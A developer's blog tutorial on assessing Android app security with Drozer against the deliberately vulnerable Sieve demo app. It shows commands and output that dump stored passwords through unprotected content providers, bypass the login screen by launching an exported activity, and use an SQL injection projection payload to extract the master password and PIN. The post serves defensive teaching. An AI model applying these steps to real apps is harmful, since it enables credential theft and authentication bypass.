Write secure software sometimes is like opening a can of worms. We postpone, because it’s a burden and “can wait”. Suddenly it starts to get messy and really hard to protect — in some scenarios, we start to lose our minds.
Google Play Store has now 1.6 million apps available for download, plus a considerable number deployed on third-party stores.
What makes Android so attractive for users, poses a significant challenge for us developers. It is easy to create new applications. However, it is fiendishly hard to design a secure application.
Back in August, a few people asked me, “Is Android secure enough?”
Bruce Schneier says:
Security is a chain; it’s only as secure as the weakest link
Deep inside I wish I could blame the OS, but in fact it is almost never the weakest link. Most of successful attacks take advantage of human weakness. For example: people can be tricked to install malwares, manipulated, provide weak passwords, have lost or stolen devices.
There’s no magic formula to determine whether or not a mobile application is secure. Yet, is possible learn the basics about security assessment tools to identify potential vulnerabilities.
Android security assessment
Installing and setting up is fairly straightforward following the instructions described on the website. Another alternative, is to pull the Drozer image from Docker Hub. Therefore, the next step includes installing the agent and sieve, a demo app. If everything went well, you should be able to see the console.
The framework has several modules available to explore. My focus here is to give you a perspective about the whole idea.
Let’s begin with an attack surface analysis. This is a simple concept, it’s like safeguard a house. First, you have to consider all the entry and exit points, in order to prevent unauthorized access.
The second step consists of going after sensitive data stored on a device and starting to identify which components are exposed:
drozer Console (v2.3.4) dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
Besides the fact that some components are publicly exposed, the summary above does not say too much about the security of our example app. However, it is possible to discover the content URIs available:
drozer Console (v2.3.4) dz> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider content://com.mwr.example.sieve.DBContentProvider/Passwords/ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.FileBackupProvider content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys
DBContentProvider/Passwords have sensitive information. Let’s check the app’s permissions:
drozer Console (v2.3.4) dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False
As you might have already noticed, read and write permissions are null. In other words, there’s nothing stopping us from querying data stores through Content Providers. Just to see how bad it is, use Drozer as shown here:
drozer Console (v2.3.4) dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | twitter | joe | faiKJudF3IXiq3U+KbqovPGG0kK0HA== (Base64-encoded) | email@example.com | | 2 | facebook | joe | faiKJudF3IU+x17Lvo1Cc9Xb0tljKg== (Base64-encoded) | firstname.lastname@example.org | | 3 | twitter | shrek | ce9mTVQXvVrWruEgOfLC0AVSuJAKF8ZT (Base64-encoded) | |
Now we can see all the service entries with their respective passwords encrypted. It is worth to mention that there’s a significant chance of at least a rainbow table attack here.
Back to the list of exported components. Activities may look harmless for applications without sensitive data. For password managers, they represent the next attack vector. Look at the permissions requirements:
dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity Permission: null com.mwr.example.sieve.MainLoginActivity Permission: null com.mwr.example.sieve.PWList Permission: null
From the list of activities, PWList is by far the most interesting one. No permissions are required to access it, which makes attackers cry tears of joy.
There are two possibilities here: write a malware to exploit this flaw or just bypass the login screen launching the Activity:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
It is a wrong assumption to believe that such attacks will never happen. SQL injection for example, is an old and well-known friend of Web and Desktop platforms. Although, still “new” for mobile developers — some people are skeptical about it.
Skeptical or not, every reasonable person knows that Content Providers making use of SQLite may be prone to injection attacks. And certainly won’t hurt to check. You can use a simple one-line command:
dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Not Vulnerable: content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider content://com.mwr.example.sieve.FileBackupProvider Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/Passwords/
As you can see, the scanner found SQL injection at Passwords and Keys table. This example certainly has more holes than a swiss cheese. And now it can be exploited in the same way as we do in normal Web applications:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM KEY;--" | Password | pin | | 12345678901234567890 | 1234 |
Certainly this was caused by the concatenation of SQL queries directly from user input. You can mitigate this with the usage of prepared statements.
Now that pin and password were successfully retrieved, our security was officially defeated. It’s merely a matter of time for people start writing exploits to steal data, leak bank accounts or social credentials.
Why does it matter?
In a real world, I’m aware that Android developers may never commit some of the mistakes described here. At the same time, security can be tricky, even for experienced developers. Sometimes we have to deal with hard deadlines.
There are several other features that were not covered here and I believe that just learning about Drozer won’t enough to make your app secure. But at least, I hope it helps to go beyond the obvious and perform a basic check, even if you’re not an Android developer.